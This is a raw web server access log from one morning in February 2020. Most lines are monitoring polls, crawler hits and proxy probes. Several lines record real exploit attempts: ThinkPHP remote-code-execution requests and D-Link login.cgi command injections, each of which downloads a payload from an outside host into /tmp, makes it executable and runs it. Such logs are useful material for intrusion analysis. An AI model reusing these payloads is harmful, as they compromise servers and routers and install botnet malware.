212.91.246.72 - - [23/Feb/2020:08:19:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [23/Feb/2020:08:19:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [23/Feb/2020:08:20:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:21:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.202.187 - - [23/Feb/2020:08:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:08:22:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:23:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:24:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:27:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:28:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:29:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [23/Feb/2020:08:29:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.80.39.93 - - [23/Feb/2020:08:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
123.191.158.64 - - [23/Feb/2020:08:29:57 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36"
138.118.102.39 - - [23/Feb/2020:08:29:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:08:30:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:31:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:33:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [23/Feb/2020:08:33:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [23/Feb/2020:08:34:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.137.171.210 - - [23/Feb/2020:08:34:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:08:35:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:36:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.106.26.146 - - [23/Feb/2020:08:36:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:08:37:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.13.120.204 - - [23/Feb/2020:08:38:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:08:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:40:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:42:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.236.231.59 - - [23/Feb/2020:08:42:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:08:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:45:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:46:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [23/Feb/2020:08:46:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [23/Feb/2020:08:47:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [23/Feb/2020:08:47:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:49:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:50:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:51:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:52:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:53:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:54:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:55:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [23/Feb/2020:08:55:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [23/Feb/2020:08:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:08:57:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.12.39.28 - - [23/Feb/2020:08:58:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:08:58:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [23/Feb/2020:08:58:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.245.32.184 - - [23/Feb/2020:08:59:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:08:59:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.69.45.246 - - [23/Feb/2020:09:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:09:01:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.250.81.143 - - [23/Feb/2020:09:02:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:09:02:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:03:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:04:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:05:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.141.74.17 - - [23/Feb/2020:09:06:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
102.141.74.17 - - [23/Feb/2020:09:06:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:09:06:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:07:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:08:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:09:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:10:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [23/Feb/2020:09:11:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:09:11:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:12:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:13:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:15:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:16:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:17:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:18:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:19:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:20:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.152.101.35 - - [23/Feb/2020:09:20:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:09:21:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:22:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:23:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:24:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:27:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:28:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.103.214.228 - - [23/Feb/2020:09:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
112.85.4.253 - - [23/Feb/2020:09:29:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:09:29:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:30:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.80.154.25 - - [23/Feb/2020:09:31:11 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
122.96.29.96 - - [23/Feb/2020:09:31:11 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
61.159.252.106 - - [23/Feb/2020:09:31:12 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.118.6.27 - - [23/Feb/2020:09:31:13 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.232.226.179 - - [23/Feb/2020:09:31:14 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.160.236.17 - - [23/Feb/2020:09:31:16 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
113.24.80.186 - - [23/Feb/2020:09:31:18 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.113.62 - - [23/Feb/2020:09:31:20 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
150.255.10.197 - - [23/Feb/2020:09:31:20 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [23/Feb/2020:09:31:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [23/Feb/2020:09:32:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [23/Feb/2020:09:32:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [23/Feb/2020:09:32:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:09:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [23/Feb/2020:09:32:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [23/Feb/2020:09:32:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:09:33:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:34:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.40.37.65 - - [23/Feb/2020:09:35:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:09:35:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:36:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:37:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:39:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:40:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:42:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:44:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.195.84.6 - - [23/Feb/2020:09:44:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:09:45:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:46:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.75.215.253 - - [23/Feb/2020:09:47:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:09:47:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.228.42 - - [23/Feb/2020:09:47:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:09:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:49:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:50:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:51:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:52:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:53:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:54:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.37.221.37 - - [23/Feb/2020:09:55:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:09:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:09:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.115.126.218 - - [23/Feb/2020:09:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.180.176.250 - - [23/Feb/2020:09:57:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
